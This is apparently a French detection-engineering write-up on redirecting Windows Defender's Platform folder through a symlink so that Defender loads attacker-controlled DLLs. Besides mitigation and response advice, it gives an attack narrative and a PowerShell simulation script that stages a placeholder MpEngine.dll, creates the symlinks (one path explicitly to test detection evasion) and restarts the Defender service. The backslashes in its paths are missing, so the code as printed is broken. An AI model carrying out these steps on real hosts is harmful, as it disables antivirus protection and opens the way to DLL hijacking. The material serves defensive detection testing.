Casser La Coquille De Protection De Windows Defender Avec La Technique De Redirection De Dossier

Résumé

L’article démontre une méthode de détournement de Windows Defender qui exploite la redirection de dossiers en plaçant un répertoire de lien symbolique à l’intérieur du chemin de la plateforme Defender et en le pointant vers un emplacement contrôlé par un attaquant. En attribuant au dossier symlink un numéro de « version » supérieur à celui du répertoire de plateforme légitime, Defender peut sélectionner le chemin contrôlé par l’attaquant après le redémarrage et charger ses composants à partir de là. Cela crée des opportunités pour le chargement latéral de DLL, la suppression sélective de fichiers ou même la perturbation opérationnelle du service Defender.

Enquête

Le flux de travail de l’auteur copie le dossier de la plateforme active de Defender dans un répertoire temporaire contrôlé par l’attaquant, puis crée un lien symbolique dans l’emplacement de la plateforme (via mklink /D) en utilisant un identifiant de version fabriqué, plus élevé. Après un redémarrage, on observe que Defender s’exécute à partir du répertoire redirigé, permettant une manipulation ultérieure telle que le détournement de DLL ou la suppression de binaires pour interférer avec le démarrage et la protection de Defender.

Atténuation

Minimisez le risque en limitant strictement les autorisations d’écriture sur le répertoire de la plateforme Windows Defender et en surveillant la création suspecte de liens symboliques ou de sous-dossiers de type « version » inattendus. Mettez en œuvre des contrôles d’intégrité pour les binaires de Defender et alertez en cas de modifications des chemins exécutables ou du comportement de sélection de répertoire plateforme. Dans la mesure du possible, appliquez Windows Defender Application Control (WDAC) ou des politiques de durcissement équivalentes pour empêcher les modifications non autorisées dans les emplacements système protégés.

Réponse

Alertez lorsque de nouveaux dossiers de lien symbolique apparaissent sous C:ProgramDataMicrosoftWindows DefenderPlatform ou lorsque mklink est utilisé pour cibler ce répertoire. Validez l’intégrité des fichiers Defender et confirmez que les binaires en cours d’exécution proviennent du dossier de plateforme attendu. Si une altération est confirmée, supprimez le lien symbolique malveillant et restaurez les fichiers de plateforme Defender à partir d’une source fiable, puis redémarrez les services Defender et revalidez les protections sur l’hôte.

Exécution de la simulation

Prérequis : Le contrôle préalable de télémétrie & de la base de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

• Narratif d’Attaque & Commandes :
  L’adversaire a compromis un compte utilisateur à faibles privilèges sur l’hôte cible. Leur objectif est de charger une charge utile malveillante lorsque Windows Defender démarre, en redirigeant le dossier « Platform » de Defender vers un emplacement qu’ils contrôlent. Ils exécutent les étapes suivantes :

  1. Créer un répertoire de mise en scène (C:TMPAV) qui contiendra les DLL malveillantes.
  2. Peupler le répertoire de mise en scène avec une DLL conçue nommée MpEngine.dll (le nom attendu par Defender).
  3. Créer un lien symbolique de répertoire nommé C:ProgramDataMicrosoftWindows DefenderPlatform{aleatoire} qui pointe vers le répertoire de mise en scène, en utilisant à la fois l’outil natif mklink (pour déclencher la règle Sigma) et le PowerShell New‑Item (pour tester l’évasion des règles).
  4. Redémarrer le Service Windows Defender pour forcer le chargement depuis le chemin détourné.

• Script de Test de Régression :

  # ==============================
  #  Simulation de Détournement de Dossier
  # ==============================
  $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform"
  $attackerStaging = "C:TMPAV"
  $linkName = "$defenderPlatformHijackTarget"
  
  # 1. Préparer le dossier de mise en scène
  New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null
  
  # 2. Déposer une DLL malveillante factice (espace réservé)
  $dummyDll = "$attackerStagingMpEngine.dll"
  Set-Content -Path $dummyDll -Value "CONTENU DLL MALVEILLANT" -Encoding ASCII
  
  # 3a. Créer un lien symbolique via mklink natif (déclenche la règle Sigma)
  cmd /c "mklink /D `"$linkName`" `"$attackerStaging`""
  
  # 3b. Créer un lien symbolique via PowerShell (teste l'évasion)
  $psLink = "$defenderPlatformHijackTarget_PS"
  New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force
  
  # 4. Redémarrer le Service Windows Defender (nécessite admin)
  # Note : Cette étape peut être bloquée dans un environnement durci ; incluse pour l'exhaustivité.
  Restart-Service -Name "WinDefend" -Force

• Commandes de Nettoyage :

  # Supprimer les liens symboliques et fichiers de mise en scène créés
  $links = @(
      "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget",
      "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS"
  )
  foreach ($l in $links) {
      if (Test-Path $l) { Remove-Item $l -Force }
  }
  
  $staging = "C:TMPAV"
  if (Test-Path $staging) { Remove-Item $staging -Recurse -Force }
  
  # Optionnellement restaurer le dossier de plateforme Defender si nécessaire (non requis pour la simulation)